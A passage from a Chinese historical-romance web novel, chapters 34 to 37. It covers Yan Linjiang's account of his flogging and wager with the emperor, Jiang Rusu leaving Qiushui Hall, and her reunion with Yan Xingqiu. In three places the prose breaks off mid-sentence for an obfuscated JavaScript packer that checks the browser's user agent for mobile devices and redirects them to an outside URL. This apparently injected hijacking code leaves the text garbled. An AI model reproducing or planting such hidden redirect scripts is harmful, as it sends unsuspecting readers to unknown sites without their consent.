远处的屋子里,尹雁淑小心翼翼的朝着这边看过来,似乎想停止这场终有一死的场面,又思及刀剑无眼怕丢了性命,就小心翼翼的躲在那门后,观察着这边。跟着陈时一起来的一些侍卫想劝她先回屋子休息,但尹雁淑似乎又想着过来,不肯挪位同那侍卫僵持不下。 “那些侍卫呢?”晏临江问道,指的全六为首的那些人。 “都活捉了,据死不从的那几个便都杀了。”该断当断,很是附和陈时的风格。 晏临江听着他的回答,点点头也算是满意,抬眸对着尹雁淑的方向抬了抬头, “把世子尸首送回京的时候,把郡主也送回去吧。” “我倒是有个问题。”陈时试探着说出口,见晏临江颔首愿意回答便接着说了下去,“你当年是怎么逃出来的。” “想知道?” “想。”陈时如实回答,他也同赵永林一样好奇,他当真犯了欺君之罪?但他在赵煜怀身边这么多年,也是知道赵煜怀并不是那种阴晴不定的人。 “那今夜的酒钱就记在你的账上吧。”晏临江收拾好了长剑,就抬步往屋子走去。 34.赌他所愿不成 “二位客官,你们的酒来了。”小二在门外就高声说着,听着里面的客观回了句进来,这才端着酒水进了门。 晏临江瞧了瞧桌上的酒水,抬眼看向陈时,“陈统领今儿可舍得花钱啊,这酒馆中上好的酒,一来就是六七壶。看来宫中的日子过的不错啊。” 面对晏临江的恭维和调侃,陈时也是大大方方的承认,“御前办事,赏赐可是不少。” 陈时最是御前侍卫统领,但当真比起来,他倒是几位统领中最少在御前露面的人。 其余三位统领能说会道,甚至同陛下身边的太监有来往,偶尔便让那贴身太监去陛下身边好言夸奖上两句,陛下心情好了,便会大大赏赐他们,连陈时也沾光。 再加上陈时平日里节衣缩食,手里到当真有不少的存银。 更莫说这次离京几乎将全部家当都带在身上。 也正如赵永林所说,陈时本也不该出京的。 他是陛下枕边的一把刀,是甲衣上护着心口的甲片,晏临江当年生死事还如一团迷雾,居然将他遣去了晏临江身边。 但这人是他同赵煜怀要的。赵煜怀也不好拒绝,毕竟他也曾派人在晏临江假死出京的路上想要刺杀过他。 他们之间有隔阂,晏临江不信他,但他需要晏临江。 若是不割舍一下,晏临江自然是不愿为他所用。 更何况赵煜怀的疑心一直都很重。 就连这次授命于他,都将他在宫中留了小半月才让他出发,生怕人早就变了,生怕他背地里已经效忠于别的人。 故而陈时也确实是最好的人选,于晏临江算是一粒定心丸,能护着他,于赵煜怀也算是放了个自己人在晏临江身边,随时掌控着晏临江的去向。 “那这次离京岂不是让陈大人少领了不少的赏赐?”晏临江忍不住调侃道,“少的银两我可不给补上啊。” “怎么会。”陈时倒觉得恍若隔世,放在往日晏临江是不会同他说这些的,那时候的晏临江似乎整日都有所思虑,连宴席间都鲜少同人大区。“离京倒也挺好的。” 至少离京的日子过的潇洒。 御前恩赐来的多,刑罚也到的快。 陛下表面看着倒是个乐于赏赐能干的下属,但性格总是阴晴不定,虽然对外一直是一副好好皇帝的形象,但私下若是要追究,保不准将那年的陈年旧事翻出来治罪。 宫中有件谈不得的事儿,便是当年晏临江在御书房受罚的事儿。毕竟是陛下身边最受宠的臣子,后来没了下落,只听得传闻是病死了。 连晏临江那般聪明绝顶的人都丢了命,更何况旁的。 “倒是你...”陈时又将话题扯了回来,“你当年是怎么逃出去的?现在他居然还肯让你回去。” 陈时只觉得荒谬,晏临江“死而复返”于他倒是个意料之内的消息,毕竟那那番才华怎么可能就因那番一个小事就被赐死,他还是陛下的人。 更何况晏临江虽然忠诚,但绝不是愚忠的臣子。 “因为啊,我当年同陛下下了一个赌注。”晏临江笑的很是张扬,似乎一切都是计划中的一环一般。 那是四年前的秋。 “晏卿,你可知错?”赵煜怀的声音在御书房中回响着,回声就好似还夹杂着千万句指责。 指责他不该谋害皇家人,指责他鬼迷心窍,指责他居然坏了他的大计。 可毁掉整盘棋的当真是他吗? 晏临江只觉得好笑,嘲笑自己当真是天真,一时疏忽大意了,只想着早早为陛下排忧解难,平天下难事,还汉地一个海晏河清,早日功成身退。 可流传于上京大街小巷的佳绩,百姓们口口称赞的晏大人。 如今却只觉得好笑,觉得自己好笑。 赵煜怀见他跪在案前,也不作声,便也知晓他在想对应之策,从得知他醒到召他入宫也不过半个时辰。 “晏大人,可是还想狡辩?”平阳王强压着怒气质问着,“人证物证齐全,我劝晏大人还是早些认罚,少受些苦头。” 平阳王就坐在赵煜怀的一侧,他瞧着倒是个过惯了安逸生活的模样,但那双眼睛倒是装满了算计,就好似皮囊与灵魂各异一般。 他将桌案上带着证人书写的供词的帖子砸到了晏临江身前,晏临江本就是平阳王眼中的一根刺,更何况他还要在他的好皇兄面前演一出好戏。 那帖子砸在了晏临江的指节,方才过了秘药的劲儿醒来,疼痛倒是后知后觉的往心里钻,晚些怕是要青紫,淤血堵塞化不开。 那帖子在他眼前散开,洋洋洒洒的写了满篇,指控着晏临江收买他去谋害世子,末尾还带着证人的名字,晏临江认识那是朝中一位五品官员家的儿子。 可能是几日未进食,晏临江顿感无力的咳嗽了起来,他心知肚明,但他依旧低着头跪在书桌前,“臣知罪,请陛下责罚。” 他知道,赵煜怀已经做出了决定。 他要舍弃他,面前的两人就好似披着人皮的恶兽,将他架起来取他的性命。 赵煜怀曾是给过晏临江特权的,那便是见到他无需行跪拜礼,颔首礼即可。晏临江还记得那是他进京三月不足的时候,赵煜怀同他说的。 他那时说着,“晏卿往后就是我的左膀右臂,你我之间便也省去这些繁文缛节。” 晏临江觉得喉头发干,认罪吗? 他能不认吗? 平阳王或许早就预料到他会据理力争,毕竟晏临江到底还是皇帝的人,皇帝的心怎么会不偏向他,于是便早早的算好了时间。 等他醒来的时候,已经成了定局。 赵煜怀到底怎么想,早已经出了答案,舍弃他抑或着是同他的好弟弟撕破脸皮。这时候的平阳王手上的精兵都早就被支去了边疆,就算造反赶回来的时间也来不及了,这分明是除掉他的大好时机。 可赵煜怀太急了,太急切的想要同时除掉这位民心所向的臣子和觊觎皇位的弟弟,想要一箭双雕。 人总会过高的估计自己的实力,似乎怎样的野心都能达成。 “既然晏卿知错了,那便赐鞭刑二十下,即刻行刑。”赵煜怀的声音掷地有声。 “谢陛下恩赐。” 帝王之怒,赏也是赐,罚也是赐。 一侧的大太监,立马上前,“晏大人,请吧。” 几日未曾进食,才解了那迷药的药性不足半日,便急急的来了宫中。都还未来得及多吃些吃食,恢复些精力。 “晏大人小心脚下。”大太监凑得近,声音压得低。他时常伺候在陛下身边,那里不明白晏临江的为人。 夜里倒还好,气温不算高。 大太监倒是个精明的,趁着平阳王动身前来观礼前,私下藏了个小褥子,晏临江跪下时放在了他的膝下。 “公公...”四周都是耳目,晏临江也只悄声的喊了他一声。 “这般也好缓缓,毕竟时候还早着,护住命要紧。”大太监知道他想道谢,忙趁着一侧小太监去给平阳王搬凳子的功夫,低声交代了两句,又立即回了陛下身边。 行刑的太监下手很狠,每一鞭落下的声音都震得耳朵疼,鞭子的力道很狠,一下下打的他皮开肉绽。好几次都朝着抽死他去的,晏临江险些撑不住身子。 平阳王似乎觉得不解气,夺过行礼那人的鞭子,毫不留情的抽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897665|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去。 “晏大人,你我恩怨为何要加诸于我儿。”平阳王的声音隐隐颤抖着,爱子心切。 他闭上眼就是赵永林脸色苍白的瘫倒在一侧的太师椅上,下一刻就缓不过气来,听他要入宫的消息,哭着喊着说,“要让皇叔替他做主,皇叔替他做主。” 手下的力道更大了。 二十鞭似乎需要很长时间,抽的晏临江背后皮开肉绽,血肉模糊。 赵煜怀不开口,晏临江就一直跪着。 “晏卿,秋猎那日我才为你和雁淑赐了婚。想着将来大家都是一家人。”赵煜怀说着痛心疾首,“你怎么就鬼迷心窍了。” 赵煜怀说到情急处恨不得走到晏临江身前同他仔细算算。 他痛心疾首,像是受了背叛。 晏临江只冷漠的看着他演。 罪名不是他的,这份所谓的姻缘也不是他求的。 都是赵煜怀的障眼法,可都怪罪到了他身上。 “皇兄,”平阳王上前扶住了“皇兄可别气坏了身子。” 平阳王上前扶住了面色疲惫的赵煜怀。 “皇弟,”赵煜怀适时的做出苦恼的模样,“边境近来不太安分,你可愿为皇兄分忧。” 穷山恶水的边陲,山高路远,长途奔波,在加上如今平阳王身边只剩下几个暗卫。 这一趟怕是凶多吉少。 “皇弟,皇兄如今只能信你了。”赵煜怀说着。 皇家人向来顾及颜面,顾及名声。 平阳王若是惹不出大祸,他当年救赵煜怀一命的旧事,便足可以保下他。 可昨夜他从暗卫口中打探到了消息,赵煜怀怕是要动手了。从秋猎开始,他就已经打算清扫。不论是火烧王府,还是暗中下毒,京中已经不安全了。 可外面也未必安稳,只是念着出京或许还有一番机会。 “那我便听从皇兄的安排。”平阳王躬身行礼,想着先回府去,余光瞥见晏临江还跪在御书房外。“那这晏大人?” “先罚他跪着,晚些送进狱中去。”赵煜怀冷声说完,便转身进了书房。 后半夜下了雨,雨势极大。 晏临江也不管到底多少人在宫中来来往往,只闭着目权当养神。 血水将他半边衣裳斗染红了。 落在身上的雨滴骤然消失,耳边雨滴打在伞面的声音格外的噪耳。 “晏卿,你可有话想同朕说?”赵煜怀含着一丝笑意,高高在上的询问着。 晏临江讲到一半止住了话头。 “然后呢?”陈时追问道,就像是引人入胜的话本突然没了后续。 晏临江惬意的伸个懒腰,抬眼示意陈时,桌上的酒水和下酒菜都不多了。 “小二!”陈时立马高声呼来雅间外的小二,又将店里的招牌,不要钱似的上了不少。 小二的手脚也是麻利,一会儿就将两人要的酒菜都上齐全了,掩着门出去了。 “然后呢?”陈时接着问。 晏临江笑着摇了摇头。 那时他沉默着并不作答。平阳王一走,只留下他们,谁心底都心知肚明发生了什么。 “晏卿,是在怪朕?”赵煜怀依旧居高临下的瞧着他。天子的意思,谁人敢说句不是。 赵煜怀的疑心一直都很重,又忌于处死晏临江反倒是会惹得民心不快。见晏临江波澜不惊的样子,更是起了兴致。 “陛下不如同我打个赌?” “晏卿说来听听?”赵煜怀的声音随和的就好似二人之间还如往日一般亲近。 雨中晏临江的背挺得笔直,轻声开口道,“我赌陛下所愿皆不会成。” 35.岁岁相安 后来他但也当真赌对了。 在宫中过了三月的日子,赵煜怀也是允了他出京的意思,也允了晏临江能悄声的在挚友的接应下出京。 他离京的时候硬生生脱了一层皮肉一般,私下接他出京的故友一见他,便只觉得晏临江似乎要登仙了,那一身白衣似乎快要撑不起来了。 折磨吗? 赵煜怀倒也没对他下狠手,他知道晏临江不会空口胡说,便寻了个小杂房将他关了进去。 “惠安郡主要不留下?”出揽月山庄的时候,陈时被绊住了脚,让晏临江等了他一会儿。尹雁淑要见他,死活也不肯回京。 说什么都要跟着他们一起走,甚至搬出了陛下,说什么“我可是皇叔亲封的郡主,是有实权的郡主,我不想回便不想回。” 陈时也拿她没办法,梗着脖子当不知情,吆喝着属下将尹雁淑请回了房间,又说着回京路途遥远,世子的尸首放久了会发臭,不如明日便出发。 尹雁淑隔着门听见这消息,将屋子的茶盏花瓶砸碎了不少。 “她找你说情当真是找错人了。”陈时的性子也当时是将晏临江逗乐了。“早些送回去吧。” “哎,”陈时叹气,“不然我能怎么办?他怎么不去找你?说起来你们...” “打住。”晏临江知道他想提起那件事,连忙止住了他的话题。“或许送她回京的可都是陈大人的下属,可不会听我的话。” “也是。”陈时也觉得应当是这个缘由,或许尹雁淑最是听晏临江的话,只能拿着郡主的名头来压他,让他允了她跟在身边。 尹雁淑却是是郡主,有实权的郡主自然是可以号令他的。但这次出京晏临江虽说只是一个御史,但赵煜怀也给了特权,便是一人之下万人之上,连陈时也只听命于晏临江。 旁人若是差遣一律当作不知。 “你可别看我们这小郡主平日里柔柔弱弱的,怕是真面目得吓你一跳,还是早些将她送走为好。”晏临江说着,尹雁淑来郢州后便是时常同赵永林呆在一处,他们之间的关系并不见得多简单。 “他是平阳王的人?”陈时揣测着。 晏临江摇摇头,尹雁淑背后真正撑腰的那个人,或许都还未可知。 “你都不知道?”陈时像是个没头脑,只想着居然连晏临江都查不到她背后的人,怕是真的不简单。 晏临江倒吸了一口气,只觉得陈时当真是宫中的死木头,似乎除开武艺不错,旁的提都提不起来,难怪赵煜怀同意让他随行,这怕是晏临江舌头打结了,都无法将陈时说动。 “不会吧?要不明儿天一亮立马启程?”陈时越想越是觉得不对,看样子都恨不得立马打包将人送人。 晏临江只觉得一口气堵在胸口,白了他一眼,吃饱喝足了便寻个客栈休息去了,也不在管陈时在身后自言自语的内容。 “主人,姜姑娘到了。”桐雨在屋外请了一礼,便留在了茶室外。 “严先生,”姜如素进屋行了礼,便端端正正的坐在了桌边。 严秋水似乎很爱呆在茶室,她每次见他的时候,隐约隔着黑纱能看出他约莫在看书约莫在品茶抑或着下棋。 她似乎也没在别的地方见过他。 “要走了?”严秋水似乎并不意外,姜如素才好一些的时候,就同她道别说要下山,这次看来是养的差不多了。 秋水堂落址于郢州山,是个少有人打扰也最是能养病的好地方,也少山下那些烦心事儿。 “是,再不回去怕是要惹不少友人心忧了。”姜如素点头称是,前辈留了不少东西也是让她心里有了底气,但还是需要从长计议。 “身子可好些了?”严秋水接着问。 姜如素虽是百毒不侵的体质,但药物相冲对身体的损害堪比剧毒,到底还是要养好根基。 “好多了,”姜如素如实回答。 这几日姜如素无事便总是多来叨扰他,那日的桌案也便没在挪动回去。 严秋水将双指在桌面轻轻瞧了两下,指尖缓缓挑起来帘子,姜如素自觉的将手腕伸了过去。 严秋水放了一方锦帕在姜如素手腕上,再隔着那锦帕为她号脉。锦帕透着的一丝凉意被他指腹的温度化开,落在姜如素肌肤上倒是并不冒犯的。 细细号过脉后,严秋水才信了她是真的将身子养好些了,约莫六七日前姜如素也想着要告别,但那是还没养好,虽说是解了毒但依旧是病怏怏的模样。 “是恢复不错了。”他松口同意了下来。 “好!这些日子多谢严先生多加照顾。”姜如素收回手腕,想着回西羌前定是还要在上门来拜谢一番。 严秋水的指尖稍微用了些力道,倒是不让她收回去,姜如素正欲开口询问,就见他伸手从一侧的匣子中取出一串珠子,隔着黑纱瞧不清。 那珠子并不大,瞧着像是珍珠。 严秋水将那锦帕择开,将珠链缠在她手腕,缠了三圈才止住了手。 “这是?”姜如素不解开口,也将手收了回来。 “是信物,姜姑娘带着平日也算是护佑平安,去秋水堂的任何一处分堂,他们都会对姜姑娘知无不言的。” 这些天姜如素从严秋水口中知道了不少前辈的事儿,她也渐渐的没那般疏离了。 严秋水的意思怕是愿意令她同秋水堂交好,往后回羌能行不少方便事。 “若是往后有任何麻烦事处理不了,叫人传信回就好。”严秋水似乎又想抬手去掀那帘子,想了想又顿住,连忙放她走了。 以着那七年的约定,姜如素怕是得淌一淌西羌的水后,两人再见面。 西羌路远,暗赫人凶险,她会没事的,她会没事的,严秋水心想着,一声到比一声更坚定。 “谢过严先生。”姜如素起身朝着严秋水行了一礼。 “待会儿下山让桐雨派人送你。”他轻声叮嘱着。 “好。” 那手串带在手腕处但是好看,出奇的赏心悦目,比那些银镯金镯瞧着更让姜如素欢喜。 每颗珠子都是精心打磨成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941623|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大小一致,像是上了一层漆油摸着光滑。 是菩提。 姜如素估摸着应该有一百零八颗,是寓意着岁岁相安的菩提。 得了主人家的首肯,姜如素也准备着收拾收拾,或许能趁着晚饭前回绣楼。 她本想着将那幅山水绣绣完再回去,但要花费的时间太长了,这几日常常同袁卜榆书信来往,听他说晏行丘回来了,点秋也想她想的紧。 如今看来还是得带回去接着绣。 “桐雨姑娘,这些绣线和这绣布我能带回去吗?” 桐雨瞧着姜如素给她指了指绣了少半的山水绣,又想了想主人的叮嘱。 “自然是不可以的,姜姑娘,秋水堂的东西不得带走的。姑娘要是得空了回堂中住几日是可以的。”桐雨一本正经的回答着。 心底倒是和个明镜一般,严秋水这是等着姜如素来日再回秋水堂一趟。 “好。”姜如素点头称是,想着或许秋水堂这般做应当是有这般的道理,看来只有等空闲时,再拜访秋水堂完成这单生意。 “杜前辈呢?”杜成安救了她的命,临行前也得道别道谢。 不过这些日子但是没曾再见过他,似乎是上次同他逛完聘礼没两日便没见过了。 “杜前辈啊?”桐雨心想着杜成安那老滑头还不知道在那座山去了。 杜成安嘴最是没把门的,严秋水不知道从哪得知了他带着姜如素去把院子逛遍了,还把存着聘礼的屋子都带人去瞧了。 也不知道杜成安到底同姜如素说了些什么,怕他迟早嘴漏给捅出事儿,便匆匆派她给杜成安寻了个事儿,连忙支开了。 “许是又去云游四海了。”桐雨笑笑回到。 “那便幸苦桐雨姑娘,若是见到了杜前辈代我道声谢。” “好。” 秋水堂的马车有些招摇,连门板都是透着一股低调的奢华感,上次特地派人来送玉佩已经让无素绣楼连带着在郢州城备受关注了一段时日,这次想来送回绣楼还是算了。 姜如素好说歹说终于是劝的那架马的小哥将马车放在郢州城外,她慢慢走回去。 前脚才走至城南外,便落雨了,初时还下着小,片刻便润湿了路。 姜如素就这城外的茶铺去躲雨,她到的迟,铺子里多余的雨伞都被那些茶客和行人借走了,茶铺也坐满了人,姜如素瞧着屋檐下的雨,只当时赏雨,有些时候没回来了。 吹了风,雨斜飞了过来,姜如素站着的屋檐下也被这一阵风欲吹一个满头的雨,惊的她下意识别用袖子掩面去挡。 待她再抬头时,油纸伞撑开在她面前,伞骨上的彩线看的清楚。 “走吧。”男子的声音从身侧传来。 姜如素侧身去瞧,是晏行丘,再次见到他,姜如素想过很多种机会,也曾想过同他坐下来看他坦白,真再见,只想着便是,活着就好。 晏行丘看她还在走神,脸上挂着和煦的笑,还轻声的催促着,“再不走可没伞咯,我可是专程等了你好久。” 36.我要见他 姜如素迈进他的伞下,好整以暇的瞧着愣住的晏行丘,“不走吗?” “走。”晏行丘隐没在袖中的手使劲掐了掐自己,就怕这一切只是一场梦。都说风雨同舟情愈深,共执一伞两心依,他也算是同她共执一伞了。 姜如素缄默着,只瞧着雨,只低头看着路。 袁卜榆传来的信中,早就交代过晏行丘的伤势,可亲眼见着他如同往日一般,她还是松了一口气。 “走后门回吧。”快行至绣楼时,姜如素才开了口,信中点秋说想见她想的夜不能寐,怕是见了她得留她说上好一阵子的话,她现在只想先歇着。 进了后院,两人绕开了平日常走的那条路,直接上了楼。 “嘶,”晏行丘倒吸了一口凉气,轻声呢喃着,抬手揉了揉肩头,“看来上次的伤口还没好全。” “你的伤不要紧吧。” “并无大碍。”晏行丘笑着回她。 姜如素顿了脚步,站在高他两阶的地方回身看着他,方才伞撑着有些久,晏行丘收了伞也是忍不住活动着手臂,缓解着方才落下的酸痛。 他也没想到姜如素会突然停下,也没来得及收完手。 姜如素居高临下,将他因难受而眼眶微红的样子尽收眼底。 “还是看看吧。”姜如素那时离得近,那伤口凿进去多深她是亲眼看见过的,这手臂后半辈子能不能用她说不上,还是亲自找人看看更为安心。 “啊?”晏行丘有些恍惚,姜如素会些医术他是知道的,难不成她要亲自为他验伤,晏行丘一时受宠若惊缓不过神。 上了三楼,却瞧见袁卜榆早就在姜如素的房外候着。 晏行丘霎时清醒了。至少姜如素还是担心他,一回来就特地让袁卜榆来看他的伤口。 三人转身进了隔壁晏行丘的屋子,姜如素远远的坐在一旁,看着晏行丘松了衣服将伤口露了出来,她隔着远,却依旧能看清楚那背脊上那处结了疤,深色的疤痕就好似那日血肉横飞时的场景。 深色的疤痕上还有几处新伤,像是愈合了又裂开,裂开了又愈合反反复复,不消得让他好受。 瞧的她心疼。 “因为伤口的原因,附近还有些肿。”袁卜榆手下没收着力,“影响不到左臂的日常的活动,只是使不上劲。” “嗯,辛苦卜榆了。”姜如素起身送袁卜榆出门,他明日要去行医,今夜要回庄子上去住。 两人走至楼梯口,同晏行丘的屋子隔着约莫十几步。 “他身上的毒也清了?”晏行丘那日中的毒箭,并不是普通的毒药,他这些日子下落不明,倒是不知道去了那里。 “解了,余毒都清的很彻底,怕是遇上一个医术在我之上的人。”袁卜榆并不遮掩。 晏行丘回绣楼的日子并没有几日,他下落不明了十几日才回了绣楼,袁卜榆那时便替他看过,后来他说要去那位老者家中养伤过几日回来,袁卜榆也没拦着。 “听说,晏临江近来在郢州?”姜如素还是没忍住问出口。 “嗯,昨日才离开。”袁卜榆前几日去太守府为府中的小姐看病,离开前倒是顺带给宋闵瞧了瞧,从他口中知道了不少的事。 晏临江官复原职这件事虽说已经过去了半月,但消息一直压着,是晏临江不愿意。陛下也就随了他,他的行踪便也鲜少有人知晓。 郢州城前两日传来了一个好消息,平阳王世子突发恶疾去世了,有人有小道消息说得是误食了剧毒的丹药死了。 这次处决了赵永林也只有宋闵知道是在背后出力,稍稍知情的人便能将两件事联系起来。 这是一场来自于上京的,要清扫的棋局。 “旁的没了?没来见见晏行丘?”没来见见她?姜如素觉得有些闷,想来或许晏临江早就将往事忘得一干二净了,那里还记得她这位故人。 “没有。”袁卜榆深思熟虑才郑重的告诉姜如素,“他不是晏临江。” 那个晏临江并非真的晏临江,晏临江就在她身边,那人不是晏临江。 “不是?”袁卜榆的样子不像是作假,袁卜榆也完全没有骗她的必要,但晏临江死而复生这件事确实为真。 “嗯。”袁卜榆点到为止,时辰不早了他该回了。 袁卜榆的身影渐渐的消失在了楼梯的转角,姜如素心里升起了另一个想法。 晏行丘没死,晏临江也没死,晏行丘是晏行丘,这点做不得假,但晏临江却未必是晏临江了。 晏临江另有其人,可晏临江又到底是何人? 她记起来严秋水同她提起的,晏家对外宣称的是外出经商的次子于郢州意外见到了晏临江,便将这位长子送回了家中。 晏行丘在郢州的这些日子,几乎都是跟在她身边,虽说不至于是形影不离,若是在相识之前,那那封绝笔信是为什么?为了戏弄她? 若是相识之后,晏行丘又是什么时候在她的眼皮子底下寻得了晏临江,晏临江只需一问他落脚之处,得了她的姓名又怎会不知道她是谁? 晏临江既然能在三年前的绝笔信中提及她,想来也并不是完全不记得她了。 姜如素再次回到房间的时候,晏行丘已经将衣服整理好了,似乎有些失落,“怎么聊了这么久?” 姜如素瞧着眼前同晏临江八分相似的模样,晏临江几年未见,模样有些许变化也并不奇怪。 “方才一时聊到药理上,便止不住话了。”姜如素将方才顺手从袁卜榆那里顺来的药瓶放在晏行丘手中,“一日两次记得用。” “可是我这也并不方便啊。”晏行丘接过瓷瓶,无奈的用手去够后背,展示着自己涂药这件事情有多么荒谬。 晏行丘转而立马又停止了动作,贴心的说着,“我自己有法子,大不了我忍忍,时间长了自然就好了。” 晏行丘故作坚强的收回手,姜如素看着她手上的口子,那是处理仿制品时,晏行丘为她挡的刀,如今好了倒是留了疤,侧面瞧着像是可怖的裂纹。 晏行丘因着她,还没好旧伤又添了新伤。 “真拿你没办法,等着。”姜如素去自己屋子里找了个往日拓印用的新布团。 晏行丘见姜如素出了门,也知道她去找些趁手的工具,便有将方才穿上的衣服又扯了下来,背后的伤口照顾得当,已经好了大半,只要不是干重活,完全不再影响他平日的生活。 似乎觉得衣服敞露的太规整,觉得不够,胡乱的又扯了两把,晏行丘心中也没底,姜如素似乎对旁人的好意只归为挚友故交。 分明对她表现出了十足的偏向与欢喜,她却只认为是最为默契的,最为可靠的挚友之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034818|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,最是寻常的场面。 离羌七年并没洗刷掉在西羌那些年的习惯,只当是成了挚友便是无话不说,无所不照拂。 他都不知道该怎么去形容她,恨自己敲不碎这块木头。若不是了解她,晏行丘倒当真以为她故意装作不知不懂。 屋子就挨着的,也不远回来的时候,晏行丘已经乖巧的准备好了。姜如素还未进门就瞧见晏行丘坐的笔直,衣裳半斜将肩露了出来,若是个女子这副香肩半露倒是我见犹怜。 “药瓶拿来。”姜如素伸手。 晏行丘一直将瓷瓶握在掌中,乖巧的摊开手等着姜如素自己去拿,她指腹擦过掌心的时候,晏行丘只觉得像是落在了心上。 瓷瓶中装的药油,是活血化瘀,消肿镇痛的。袁卜榆得来这一瓶,将她庄子上的药材连用带拿的霍霍了不少。 美名其曰,“药材最有用便是在医者的手中。” 毕竟麻烦了袁卜榆,姜如素倒也没说什么,让庄子上的婶娘们瞧见好的再买些回去就是。 姜如素将它倾了一些在哪拓印的布团上,用那布团将药拍在他那伤口周围,这是站的近,姜如素看着这掌心般大小的伤疤。 “疼吗?”她明知故问。 “不疼。”他明知故答,“伤口在我身上还好,只是难熬了些。” 难熬那些伤口渐渐裂开,难熬那些睡不着的日日夜夜,难熬伤口长合时,如蚁蚀骨般的难熬,但好歹落在他身上。 “听卜榆说,你的伤是在外修养好才回的,不知道是那家的神医,来日带些东西上门去拜谢拜谢。”姜如素轻声提议着,倒也是好奇医术同袁卜榆不相上下的,郢州城还能有哪号人物。 “我记不太清了,那位前辈是来此游历的,才医好我便又起身了。”晏行丘回答着,知道姜如素惦记着对方的人情,“前辈爱喝酒,临行前我特地带了如意酒肆的酒送他。” “嗯,那便好。” “你兄长近来可好?”兜兜转转姜如素还是问到了这个问题上。 “兄长一切都好。”晏行丘有些吃味,他知晓晏临江在姜如素心中似乎有着并不轻的分量,晏临江这才“活”过来,她便关心着他。 晏临江当真同她那般重要吗?可分明这也是他重伤后同她的再次相逢。 “我想见他,可以吗?”姜如素轻声说着,手下的动作也是很轻。 “你见他做什么?”晏行丘显然有些不高兴,闷哼哼的卸了力,背部也随着他一卸力,让姜如素找不到下手的地方。 “我同你兄长是故交。”姜如素解释着,“没有旁的意思。” 虽然这么些年没见,但晏临江是真是假,她还是能分辨出的,她倒要当真去试试这晏临江名头下的到底又是谁? 姜如素难得如此温言温语的解释着,加之在药油的作用下,伤口似乎舒服的有着酥酥麻麻的感觉,缓解了极大的酸痛感,加之晏行丘觉得甚是受用。 “好,可兄长昨日来离开郢州,我待会儿修书一封约兄长相见。”晏行丘应了下来,但依旧有些不高兴,连说话声都是闷闷的,“我答应了你的事,你能不能也答应我一件事?” “什么事儿?” “今晚夜市请了北夷的杂耍班子来表演,你愿意同我一起去看看吗?” “好。” 37.第一眼就喜欢 因这北夷杂耍班子的缘由,夜市的人比往日多了不少,街边的铺子也多了不少,打着北夷的名头卖些稀奇的玩意儿。 有些是北夷的真货,有些便是一些商家瞅着机会来了,连连去学来的。姜如素到没去过北夷,倒也觉得这些玩意儿稀奇。 “姑娘,公子。要来试试北夷小吃嘛?新鲜出锅,软糯香甜。”像是糕点铺子一般的小摊子前,老板娘吆喝着,巴不得将路上的行人都给唤去试试他家的糕点。 姜如素心中的馋虫倒是被钩了起来,是她没未曾听过,未曾品尝的吃食。她对这些未知的食物,抱着一种想试试但又止步于此的态度。下意识的偏向晏行丘,去看他的反应。 晏行丘几乎是同时就捕捉到了她的目光,“要不试试?听说北夷的奶糕味道不错。” “好。”姜如素立马应声,正好晏行丘在,让他先试试味道。 两人刚在铺子后面的桌边坐下,老板娘用了两个碗碟分别各自给放了一个四四方方的糕点,瞧着白白胖胖的如同忘了放桂花装点的桂花糕,个子瞧着倒是比寻常的桂花糕小上一圈。 姜如素还在打量着,晏行丘已经将筷子递给了她,刚出锅的奶糕很是烫手,直接去拿怕是要将手烫的热辣辣的红。 姜如素接过筷子,将白白的糕点挑起,故作去吃它,低头间,目光却盯着晏行丘,通过他那些微末的小动作去判断眼前这块奶糕好不好吃。 晏行丘咬了一口,腮帮子鼓鼓,应该是很好吃。 姜如素这也咬下一口,入口的很软,但是很酸,是不同于泡菜,不同于水果的酸味。酸的她牙疼的倒吸了一口凉气。 姜如素平日吃的大都是偏甜的,这股酸味她一下子梗住了。姜如素低着头以着最不受人瞩目的方式,朝着晏行丘那边偏了偏,晏行丘见她的动作立马也凑了过来,洗耳恭听。 “这莫不是那家铺子拜师没学成?”姜如素嚼了两口倒是觉得这味道倒是比第一口好了不少。 晏行丘听到她的话忍俊不禁,这股发酵过后的酸味正是这北夷奶糕最地道的味道,是童叟无欺的地道货。 “是真的,是绝对正宗的北夷奶糕。”晏行丘也学着她用着两个人之间能听到的声音回答她。“这做糕点加入的牛奶经过发酵后才和面做的糕点。” “一般多吃两口熟悉这个味道就好多了。”晏行丘提议着。 “当真?”姜如素还是有些芥蒂,看晏行丘并无半分作假的样子便试探性的又吃了两口,倒是觉得这股酸别有一番滋味。 “如何?”晏行丘保持着靠近她的动作问她,凑得近呼吸似乎都打在她的手背上。 